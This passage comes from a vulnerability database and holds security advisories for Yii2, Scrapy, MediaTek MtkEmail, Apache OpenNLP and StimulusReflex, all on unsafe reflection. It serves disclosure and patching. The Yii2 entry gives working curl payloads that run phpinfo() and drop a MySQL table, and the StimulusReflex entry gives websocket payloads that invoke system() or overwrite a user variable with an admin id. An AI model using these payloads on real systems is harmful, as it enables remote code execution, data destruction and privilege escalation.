Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can't receive any output from it. If the query fails we might see a PDO error message (i.e. "Table 'test.foo' doesn't exist"), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "yiisoft/yii2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.49.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-4990"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-02T22:30:39Z",
    "nvd_published_at": "2025-03-20T10:15:32Z",
    "severity": "HIGH"
  },
  "details": "Yii2 supports attaching Behaviors to Components by setting properties having the format `\u0027as \u003cbehaviour-name\u003e\u0027`.\n\nInternally this is done using the `__set()` magic method. If the value passed to this method is not an instance of the `Behavior` class, a new object is instantiated using `Yii::createObject($value)`. However, there is no validation check that verifies that `$value` is a valid `Behavior` class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\n### Impact\nWith some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables\n\n### Patches\nNot yet patched.\n\n### Workarounds\nNo Work around available\n\n### References\nReported [Here](https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f?token=3bcfc5266870680af19a26170b8dbf3750e3b593ce192da8eaa6a03f96b99b52c419e15768c56f23991dc50003aa1a9e3cb3f1f9321e18bd506d68a9f937cd5b7ca90fb47967df22c8768c0c48f7206f36b583464af7e44bf93eecc5398a2764b98e02cf8e280397785106db16e4197951554eb9b9c46649f4339e2f413cf6a0197ab2e0) \n\nin case the link is dead, here is the full description\n\n# Description\n\nYii2 supports attaching Behaviors to Components by setting properties having the format  `\u0027as \u003cbehaviour-name\u003e\u0027`.\n\nInternally this is done using the  `__set()`  magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using  `Yii::createObject($value)`. However, there is no validation check that verifies that  `$value`  is a valid Behavior class name or configuration. An attacker that can control the content of the  `$value`  variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.\n\nDepending on the installed dependencies various kind of attacks are possible.\n\n# Proof of Concept\n\nA PoC application was created using  `composer create-project`, as specified in the  [getting started](https://www.yiiframework.com/doc/guide/2.0/en/start-installation).\n\nYii JSON parser was enabled in the configuration:\n\n```php\n\u0027parsers\u0027 =\u003e [ \u0027application/json\u0027 =\u003e \u0027yii\\web\\JsonParser\u0027 ]\n\n```\n\nA vulnerable controller was added:\n\n```php\n\u003c?php\n\nnamespace app\\controllers;\n\nuse yii\\base\\Component;\nuse yii\\web\\Controller;\n\nclass ExploitableController extends Controller\n{\n    public function beforeAction($action): bool\n    {\n        // Needed only to simplify the PoC\n        $this-\u003eenableCsrfValidation = false;\n        return parent::beforeAction($action);\n    }\n\n    public function actionVulnerable(): string\n    {\n        $fields = $this-\u003erequest-\u003epost();\n        $myComponent = new Component();\n        foreach ($fields as $key =\u003e $value) {\n            $myComponent-\u003e$key = $value;\n        }\n        return \"\";\n    }\n}\n\n```\n\n## Executing phpinfo()\n\nFollowing command stores the content of  `phpinfo()`  inside info.html:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d \u0027{\"as hack\": {\"__class\":\"GuzzleHttp\\\\Psr7\\\\FnStream\", \"__construct()\": [[]], \"_fn_close\": \"phpinfo\"}}\u0027 http://localhost:8080/index.php?r=exploitable%2Fvulnerable \u003e info.html\n\n```\n\nIt leverages the fact that  `GuzzleHttp\\Psr7\\FnStream`  class executes  `call_user_func($this-\u003e_fn_close)`  inside  `__destruct()`. This class is a default dependency.\n\n## Executing arbitrary MySQL queries (blind execution)\n\nIf the application is connected to a MySQL database it is possible to exploit the  `PDO`  class to execute arbitrary SQL queries:\n\n```bash\ncurl -XPOST -H \"Content-Type: application/json\" -d \u0027{\"as hack\": {\"__class\":\"\\\\PDO\", \"__construct()\": [\"mysql:host=127.0.0.1;dbname=test\", \"test\", \"test\", {\"1002\": \"DROP TABLE test\"}]}}\u0027 http://localhost:8080/index.php?r=exploitable%2Fvulnerable\n\n```\n\nNotice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can\u0027t receive any output from it. If the query fails we might see a PDO error message (i.e. \"Table \u0027test.foo\u0027 doesn\u0027t exist\"), depending on the app configuration.\n\n# Impact\n\nIt is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).\n\nThe consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.\n\n# Occurrences\n\n[Component.php L191](https://github.com/yiisoft/yii2/blob/2.0.48/framework/base/Component.php#L191)",
  "id": "GHSA-cjcc-p67m-7qxm",
  "modified": "2025-04-01T23:13:58Z",
  "published": "2024-06-02T22:30:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yiisoft/yii2/security/advisories/GHSA-cjcc-p67m-7qxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4990"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yiisoft/yii2/pull/20183"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yiisoft/yii2/commit/628d406bfafb80fc32147837888c0057d89a021e"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yiisoft/yii2/commit/62d081f18c3602d09e7d075bba3a0ca5c313f0b4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/yiisoft/yii2/CVE-2024-4990.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yiisoft/yii2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yiisoft/yii2/blob/master/framework/CHANGELOG.md#2050-may-30-2024"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/4fbdd965-02b6-42e4-b57b-f98f93415b8f"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Unsafe Reflection in base Component class in yiisoft/yii2"
}

GHSA-CWXJ-RR6W-M6W7

Vulnerability from github – Published: 2026-03-13 20:02 – Updated: 2026-10-05 23:08
VLAI
Summary
Scrapy: Arbitrary Module Import via Referrer-Policy Header in RefererMiddleware
Details

Impact

Since version 1.4.0, Scrapy respects the Referrer-Policy response header to decide whether and how to set a Referer header on follow-up requests.

If the header value looked like a valid Python import path, Scrapy would import the referenced object and call it, assuming it referred to a referrer policy class (for example, scrapy.spidermiddlewares.referer.DefaultReferrerPolicy) and attempting to instantiate it to handle the Referer header.

A malicious site could exploit this by setting Referrer-Policy to a path such as sys.exit, causing Scrapy to import and execute it and potentially terminate the process.

Patches

Upgrade to Scrapy 2.14.2 (or later).

Workarounds

If you cannot upgrade to Scrapy 2.14.2, consider the following mitigations.

  • Disable the middleware: If you don't need the Referer header on follow-up requests, set REFERER_ENABLED to False.
  • Set headers manually: If you do need a Referer, disable the middleware and set the header explicitly on the requests that require it.
  • Set referrer_policy in request metadata: If disabling the middleware is not viable, set the referrer_policy request meta key on all requests to prevent evaluating preceding responses' Referrer-Policy. For example:
Request(
    url,
    meta={
        "referrer_policy": "scrapy.spidermiddlewares.referer.DefaultReferrerPolicy",
    },
)

Instead of editing requests individually, you can:

  • implement a custom spider middleware that runs before the built-in referrer policy middleware and sets the referrer_policy meta key; or
  • set the meta key in start requests and use the scrapy-sticky-meta-params plugin to propagate it to follow-up requests.

If you want to continue respecting legitimate Referrer-Policy headers while protecting against malicious ones, disable the built-in referrer policy middleware by setting it to None in SPIDER_MIDDLEWARES and replace it with the fixed implementation from Scrapy 2.14.2.

If the Scrapy 2.14.2 implementation is incompatible with your project (for example, because your Scrapy version is older), copy the corresponding middleware from your Scrapy version, apply the same patch, and use that as a replacement.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.14.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "Scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "2.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-105782"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:02:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nSince version 1.4.0, Scrapy respects the `Referrer-Policy` response header to decide whether and how to set a `Referer` header on follow-up requests.\n\nIf the header value looked like a valid Python import path, Scrapy would import the referenced object and call it, assuming it referred to a referrer policy class (for example, `scrapy.spidermiddlewares.referer.DefaultReferrerPolicy`) and attempting to instantiate it to handle the `Referer` header.\n\nA malicious site could exploit this by setting `Referrer-Policy` to a path such as `sys.exit`, causing Scrapy to import and execute it and potentially terminate the process.\n\n### Patches\n\nUpgrade to Scrapy 2.14.2 (or later).\n\n### Workarounds\n\nIf you cannot upgrade to Scrapy 2.14.2, consider the following mitigations.\n\n- **Disable the middleware:** If you don\u0027t need the `Referer` header on follow-up requests, set [`REFERER_ENABLED`](https://docs.scrapy.org/en/latest/topics/spider-middleware.html#referer-enabled) to `False`.\n- **Set headers manually:** If you do need a `Referer`, disable the middleware and set the header explicitly on the requests that require it.\n- **Set `referrer_policy` in request metadata:** If disabling the middleware is not viable, set the [`referrer_policy`](https://docs.scrapy.org/en/latest/topics/spider-middleware.html#referrer-policy) request meta key on all requests to prevent evaluating preceding responses\u0027 `Referrer-Policy`. For example:\n\n```python\nRequest(\n    url,\n    meta={\n        \"referrer_policy\": \"scrapy.spidermiddlewares.referer.DefaultReferrerPolicy\",\n    },\n)\n```\n\nInstead of editing requests individually, you can:\n\n- implement a custom [spider middleware](https://docs.scrapy.org/en/latest/topics/spider-middleware.html) that runs before the built-in referrer policy middleware and sets the `referrer_policy` meta key; or\n- set the meta key in start requests and use the [scrapy-sticky-meta-params](https://github.com/heylouiz/scrapy-sticky-meta-params) plugin to propagate it to follow-up requests.\n\nIf you want to continue respecting legitimate `Referrer-Policy` headers while protecting against malicious ones, disable the built-in referrer policy middleware by setting it to `None` in [`SPIDER_MIDDLEWARES`](https://docs.scrapy.org/en/latest/topics/settings.html#std-setting-SPIDER_MIDDLEWARES) and replace it with the fixed implementation from Scrapy 2.14.2.\n\nIf the Scrapy 2.14.2 implementation is incompatible with your project (for example, because your Scrapy version is older), copy the corresponding middleware from your Scrapy version, apply the same patch, and use that as a replacement.",
  "id": "GHSA-cwxj-rr6w-m6w7",
  "modified": "2026-10-05T23:08:58Z",
  "published": "2026-03-13T20:02:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/security/advisories/GHSA-cwxj-rr6w-m6w7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/945b787a263586cb5803c01c6da57daad8997ae5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scrapy/scrapy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Scrapy: Arbitrary Module Import via Referrer-Policy Header in RefererMiddleware"
}

GHSA-CX2H-XJFW-V87Q

Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2022-09-10 00:00
VLAI
Details

In MtkEmail, there is a possible escalation of privilege due to fragment injection. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07216598; Issue ID: ALPS07216598.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-26469"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-06T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "In MtkEmail, there is a possible escalation of privilege due to fragment injection. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07216598; Issue ID: ALPS07216598.",
  "id": "GHSA-cx2h-xjfw-v87q",
  "modified": "2022-09-10T00:00:35Z",
  "published": "2022-09-07T00:01:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26469"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/September-2022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CX4M-2P55-RW7J

Vulnerability from github – Published: 2026-05-04 18:30 – Updated: 2026-09-09 15:33
VLAI
Summary
Apache OpenNLP ExtensionLoader Vulnerable to Arbitrary Class Instantiation via Model Manifest
Details

Versions Affected: before 1.9.5, before 2.5.9, before 3.0.0-M3

Description: 

The ExtensionLoader.instantiateExtension(Class, String) method loads a class by its fully-qualified name via Class.forName() and invokes its no-arg constructor, with the class name sourced from the manifest.properties entry of a model archive. The existing isAssignableFrom check correctly rejects classes that are not subtypes of the expected extension interface (BaseToolFactory for factory=, ArtifactSerializer for serializer-class-*), but the check runs after Class.forName() has already loaded and initialized the named class.

Class.forName() with default initialization semantics executes the target class's static initializer before returning, so an attacker who can supply a crafted model archive can cause the static initializer of any class on the classpath to run during model loading, regardless of whether that class passes the subsequent type check.

Exploitation requires a class with attacker-useful side effects in its static initializer (for example, JNDI lookup, outbound network I/O, or filesystem access) to be present on the classpath, so this is not a drop-in remote code execution; however, the attack surface grows as third-party model distribution becomes more common (community model repositories, Hugging Face-style sharing), where users routinely load model files from origins they do not control. A secondary, narrower vector affects deployments that ship legitimate BaseToolFactory or ArtifactSerializer subclasses with side-effecting no-arg constructors: a malicious manifest can name such a class and force its constructor to run during model load.

Mitigation:  * 1.x users should upgrade to 1.9.5. * 2.x users should upgrade to 2.5.9. * 3.x users should upgrade to 3.0.0-M3.

Note: The fix introduces a package-prefix allowlist that is consulted before Class.forName() is invoked, so the static initializer of a disallowed class is never executed. Classes under the opennlp. prefix remain permitted by default. Deployments that load models referencing factories or serializers outside opennlp.* must opt those packages in, either programmatically via ExtensionLoader.registerAllowedPackage(String) before the first model load, or by setting the OPENNLP_EXT_ALLOWED_PACKAGES system property to a comma-separated list of allowed package prefixes.

Users who cannot upgrade immediately should ensure that all model files are sourced from trusted origins and should audit their classpath for classes with side-effecting static initializers or constructors, particularly any that perform JNDI lookups, network requests, or filesystem operations during class initialization.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.opennlp:opennlp-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.5.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.opennlp:opennlp-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-M1"
            },
            {
              "fixed": "3.0.0-M3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.opennlp:opennlp-tools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470",
      "CWE-502"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-08T17:53:14Z",
    "nvd_published_at": "2026-05-04T17:16:24Z",
    "severity": "CRITICAL"
  },
  "details": "Versions Affected: before 1.9.5, before 2.5.9, before 3.0.0-M3\n\nDescription:\u00a0\n\nThe ExtensionLoader.instantiateExtension(Class, String)\u00a0method loads a class by its fully-qualified name via Class.forName()\u00a0and invokes its no-arg constructor, with the class name sourced from the manifest.properties\u00a0entry of a model archive. The existing isAssignableFrom\u00a0check correctly rejects classes that are not subtypes of the expected extension interface (BaseToolFactory\u00a0for factory=, ArtifactSerializer\u00a0for serializer-class-*), but the check runs after\u00a0Class.forName()\u00a0has already loaded and initialized the named class. \n\nClass.forName()\u00a0with default initialization semantics executes the target class\u0027s static initializer before returning, so an attacker who can supply a crafted model archive can cause the static initializer of any class on the classpath to run during model loading, regardless of whether that class passes the subsequent type check. \n\nExploitation requires a class with attacker-useful side effects in its static initializer (for example, JNDI lookup, outbound network I/O, or filesystem access) to be present on the classpath, so this is not a drop-in remote code execution; however, the attack surface grows as third-party model distribution becomes more common (community model repositories, Hugging Face-style sharing), where users routinely load model files from origins they do not control. A secondary, narrower vector affects deployments that ship legitimate BaseToolFactory\u00a0or ArtifactSerializer\u00a0subclasses with side-effecting no-arg constructors: a malicious manifest can name such a class and force its constructor to run during model load.\n\n\nMitigation:\u00a0\n  * 1.x users should upgrade to 1.9.5.\n  *  2.x users should upgrade to 2.5.9. \n  *  3.x users should upgrade to 3.0.0-M3. \n\nNote: The fix introduces a package-prefix allowlist that is consulted before Class.forName()\u00a0is invoked, so the static initializer of a disallowed class is never executed. Classes under the opennlp.\u00a0prefix remain permitted by default. Deployments that load models referencing factories or serializers outside opennlp.*\u00a0must opt those packages in, either programmatically via ExtensionLoader.registerAllowedPackage(String)\u00a0before the first model load, or by setting the OPENNLP_EXT_ALLOWED_PACKAGES\u00a0system property to a comma-separated list of allowed package prefixes. \n\nUsers who cannot upgrade immediately should ensure that all model files are sourced from trusted origins\u00a0and should audit their classpath for classes with side-effecting static initializers or constructors, particularly any that perform JNDI lookups, network requests, or filesystem operations during class initialization.",
  "id": "GHSA-cx4m-2p55-rw7j",
  "modified": "2026-09-09T15:33:40Z",
  "published": "2026-05-04T18:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42027"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:65126"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-42027"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466527"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/opennlp"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/ltlo4powjfc0w2w2yyl1o5tc7q1gcb2y"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42027.json"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/01/20"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache OpenNLP ExtensionLoader Vulnerable to Arbitrary Class Instantiation via Model Manifest"
}

GHSA-F78J-4W3G-4Q65

Vulnerability from github – Published: 2024-03-12 15:44 – Updated: 2024-09-25 20:56
VLAI
Summary
StimulusReflex arbitrary method call
Details

Summary

More methods than expected can be called on reflex instances. Being able to call some of them has security implications.

Details

To invoke a reflex a websocket message of the following shape is sent:

{ 
  "target": "[class_name]#[method_name]", 
  "args": [] 
}

The server will proceed to instantiate reflex using the provided class_name as long as it extends StimulusReflex::Reflex. It then attempts to call method_name on the instance with the provided arguments ref:

method = reflex.method method_name
required_params = method.parameters.select { |(kind, _)| kind == :req }
optional_params = method.parameters.select { |(kind, _)| kind == :opt }

if arguments.size >= required_params.size && arguments.size <= required_params.size + optional_params.size
  reflex.public_send(method_name, *arguments)
end

This is problematic as reflex.method(method_name) can be more methods than those explicitly specified by the developer in their reflex class. A good example is the instance_variable_set method.

Read more Let's imagine a reflex that uses `@user` as a trusted variable in an `after_reflex` callback. This variable can be overwritten using the following message:
{
  "target": "ChatReflex#instance_variable_set", 
  "args": ["@user", "<admin-id>"]
}
Here are other interesting methods that were found to be available for the [ChatReflex sample reflex](https://github.com/hopsoft/stimulus_reflex_expo/blob/dcce8c36a6782d1e7f57f0e2766a3f6fd770b3b1/app/reflexes/chat_reflex.rb) - `remote_byebug`: bind a debugging server - `pry`: drop the process in a REPL session All in all, only counting `:req` and `:opt` parameters helps. For example around [version 1.0](https://github.com/stimulusreflex/stimulus_reflex/blob/1f610b636abfed27de2c61104aebd1ac98180d5b/lib/stimulus_reflex/channel.rb#L41) only `.arity` was checked which allowed access to the `system` method (`.arity == -1`)
{
  "target": "ChatReflex#system", 
  "args": ["[command here]"]
}
Using `public_send` instead of `send` does not help but the following payloads **do not** work since `:rest` parameters are not counted in the current version
{
  "target": "ChatReflex#send", 
  "args": ["system", "[command here]"] 
}
{ 
  "target": "ChatReflex#instance_eval", 
  "args": ["system('[command here]')"]
}

Pre-versions of 3.5.0 added a render_collection method on reflexes with a :req parameter. Calling this method could lead to arbitrary code execution:

{
  "target": "StimulusReflex::Reflex#render_collection", 
  "args": [
    { "inline":  "<% system('[command here]') %>" }
  ]
}

Patches

Patches are available on RubyGems and on NPM.

The patched versions are: - 3.4.2 - 3.5.0.rc4

Workaround

You can add this guard to mitigate the issue if running an unpatched version of the library.

1.) Make sure all your reflexes inherit from the ApplicationReflex class 2.) Add this before_reflex callback to your app/reflexes/application_reflex.rb file:

class ApplicationReflex < StimulusReflex::Reflex
  before_reflex do
    ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1]
    allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }

    raise ArgumentError.new("Reflex method '#{method_name}' is not defined on class '#{self.class.name}' or on any of its ancestors") if !allowed
  end
end
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "stimulus_reflex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0.pre0"
            },
            {
              "fixed": "3.5.0.rc4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "stimulus_reflex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "stimulus_reflex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.5.0-pre0"
            },
            {
              "fixed": "3.5.0-rc4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "stimulus_reflex"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-28121"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-470"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-03-12T15:44:49Z",
    "nvd_published_at": "2024-03-12T20:15:08Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nMore methods than expected can be called on reflex instances. Being able to call some of them has security implications.\n\n### Details\nTo invoke a reflex a websocket message of the following shape is sent:\n```json\n{ \n  \"target\": \"[class_name]#[method_name]\", \n  \"args\": [] \n}\n```\nThe server will proceed to instantiate `reflex` using the provided `class_name` as long as it extends `StimulusReflex::Reflex`.\nIt then attempts to call `method_name` on the instance with the provided arguments [ref](https://github.com/stimulusreflex/stimulus_reflex/blob/0211cad7d60fe96838587f159d657e44cee51b9b/app/channels/stimulus_reflex/channel.rb#L83):\n\n```ruby\nmethod = reflex.method method_name\nrequired_params = method.parameters.select { |(kind, _)| kind == :req }\noptional_params = method.parameters.select { |(kind, _)| kind == :opt }\n\nif arguments.size \u003e= required_params.size \u0026\u0026 arguments.size \u003c= required_params.size + optional_params.size\n  reflex.public_send(method_name, *arguments)\nend\n```\n\nThis is problematic as `reflex.method(method_name)` can be more methods than those explicitly specified by the developer in their reflex class. A good example is the `instance_variable_set` method.\n\n\u003cdetails\u003e\n\n\u003csummary\u003eRead more\u003c/summary\u003e\nLet\u0027s imagine a reflex that uses `@user` as a trusted variable in an `after_reflex` callback.\n\nThis variable can be overwritten using the following message:\n```json\n{\n  \"target\": \"ChatReflex#instance_variable_set\", \n  \"args\": [\"@user\", \"\u003cadmin-id\u003e\"]\n}\n```\n\nHere are other interesting methods that were found to be available for the [ChatReflex sample reflex](https://github.com/hopsoft/stimulus_reflex_expo/blob/dcce8c36a6782d1e7f57f0e2766a3f6fd770b3b1/app/reflexes/chat_reflex.rb)\n- `remote_byebug`: bind a debugging server\n- `pry`: drop the process in a REPL session\n\nAll in all, only counting  `:req` and `:opt` parameters helps.\nFor example around [version 1.0](https://github.com/stimulusreflex/stimulus_reflex/blob/1f610b636abfed27de2c61104aebd1ac98180d5b/lib/stimulus_reflex/channel.rb#L41) only `.arity` was checked which allowed access to the `system` method (`.arity == -1`)\n```json\n{\n  \"target\": \"ChatReflex#system\", \n  \"args\": [\"[command here]\"]\n}\n```\nUsing `public_send` instead of `send` does not help but the following payloads **do not** work since `:rest` parameters are not counted in the current version\n```json\n{\n  \"target\": \"ChatReflex#send\", \n  \"args\": [\"system\", \"[command here]\"] \n}\n```\n```json\n{ \n  \"target\": \"ChatReflex#instance_eval\", \n  \"args\": [\"system(\u0027[command here]\u0027)\"]\n}\n```\n\n\u003c/details\u003e\n\nPre-versions of 3.5.0 added a `render_collection` method on reflexes with  a `:req` parameter. Calling this method could lead to arbitrary code execution:\n```json\n{\n  \"target\": \"StimulusReflex::Reflex#render_collection\", \n  \"args\": [\n    { \"inline\":  \"\u003c% system(\u0027[command here]\u0027) %\u003e\" }\n  ]\n}\n```\n\n### Patches\n\nPatches are [available on RubyGems](https://rubygems.org/gems/stimulus_reflex) and on [NPM](https://npmjs.org/package/stimulus_reflex). \n\nThe patched versions are: \n- [`3.4.2`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.4.2)\n- [`3.5.0.rc4`](https://github.com/stimulusreflex/stimulus_reflex/releases/tag/v3.5.0.rc4)\n\n### Workaround\n\nYou can add this guard to mitigate the issue if running an unpatched version of the library. \n\n1.) Make sure all your reflexes inherit from the `ApplicationReflex` class\n2.) Add this `before_reflex` callback to your `app/reflexes/application_reflex.rb` file:\n\n```ruby\nclass ApplicationReflex \u003c StimulusReflex::Reflex\n  before_reflex do\n    ancestors = self.class.ancestors[0..self.class.ancestors.index(StimulusReflex::Reflex) - 1]\n    allowed = ancestors.any? { |a| a.public_instance_methods(false).any?(method_name.to_sym) }\n\n    raise ArgumentError.new(\"Reflex method \u0027#{method_name}\u0027 is not defined on class \u0027#{self.class.name}\u0027 or on any of its ancestors\") if !allowed\n  end\nend\n```",
  "id": "GHSA-f78j-4w3g-4q65",
  "modified": "2024-09-25T20:56:24Z",
  "published": "2024-03-12T15:44:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/stimulusreflex/stimulus_reflex/security/advisories/GHSA-f78j-4w3g-4q65"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/stimulusreflex/stimulus_reflex/commit/538582d240439aab76066c72335ea92096cd0c7f"
    },
    {
      "type": "WEB",
